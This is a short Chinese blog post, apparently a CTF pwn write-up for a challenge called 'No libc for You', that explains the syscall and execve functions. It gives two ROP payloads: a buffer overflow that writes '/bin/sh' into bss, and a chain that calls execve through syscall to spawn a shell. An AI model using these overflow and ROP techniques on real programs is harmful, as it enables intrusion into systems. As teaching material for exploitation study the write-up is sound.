0x00 syscall

syscall函数原型为:
int syscall(int number, ...)
其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。 例如:调用read函数
syscall(0,0,buf,8)
- 0 是系统函数read的调用号,相当于执行read(0,buf,8)

详细说明:

Linux系统调用(syscall)原理

linux 系统调用

0x01 execve

execve函数原型
int execve(const char * filename,char * const argv[ ],char * const envp[ ])
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 例如:执行/bin/sh
execve("/bin/sh",0,0)

详细说明:

execve的使用方法

0x02 No libc for You

1.思路

先将/bin/sh写入bss,再通过syscall调用execve('/bin/sh')获得shell

2.写/bin/sh到bss

#write_bss
payload = "A" * 72
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(gets_addr)
payload += p64(vuln_addr)
s.sendline(payload)
s.sendline("/bin/sh\0")

3.调用execve('/bin/sh')

# get_shell
payload = "A" * 72
payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0)
payload += p64(rsi_ret) + p64(0)
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(syscall)
s.sendline(payload)

0x03 新姿势

1.printf

函数名   :printf
函数原型:int printf (char * format,args,···);
功能:按format指向的格式字符串所规定的格式,将输出表列args的值输出到标准输出设备。
返回值:输出字符的个数,若出错,则返回负数。
说明:format可以是一个字符串,或字符数组的起始地址

2. linux系统调用

Linux系统调用函数列表

LINUX SYSTEM CALL TABLE FOR X86 64

最新文章

  1. mpt_voronoi demo
  2. 重拾smslib
  3. 链地址法实现HashMap
  4. iOS:基于AVPlayer实现的视频播放器
  5. BCP及自增标识列
  6. Create your first isolated Python environment
  7. [Unity3D]unity3d5.0简单的调用摄像头
  8. Bash简介
  9. org.unsaved transient instance - save the transient instance before flushing: bug解决方案
  10. ti processor sdk linux am335x evm /bin/setup-targetfs-nfs.sh hacking
  11. Centos6 编译安装局域网NTP服务器
  12. C#中对于可变性的限制
  13. hdu 5451(矩阵 +Fibonacci )
  14. netty源码学习
  15. bzoj4025二分图(线段树分治 并查集)
  16. python3.x 读写文件要使用UTF8编码的话需要。。
  17. java项目中oracle配置说明
  18. Ubuntu 12.04 安装Redis并设置主从复制
  19. JVM系列三:JVM参数设置
  20. Fisher精确检验【转载】

热门文章

  1. IOS11 - UINavigationItem大标题,搜索栏实现
  2. 洛谷P2568 GCD(莫比乌斯反演)
  3. SQL基础培训实战教程[全套]
  4. 51nod 1562 玻璃切割 (set)
  5. tinymce 富文本简单使用
  6. with rollup
  7. IMG 的alt和title的区别(转自 百度空间--路云的世界)
  8. C/S 和 B/S 架构
  9. 接口测试02 - 无法绕过的json解析
  10. [转]NopCommerce之视图设计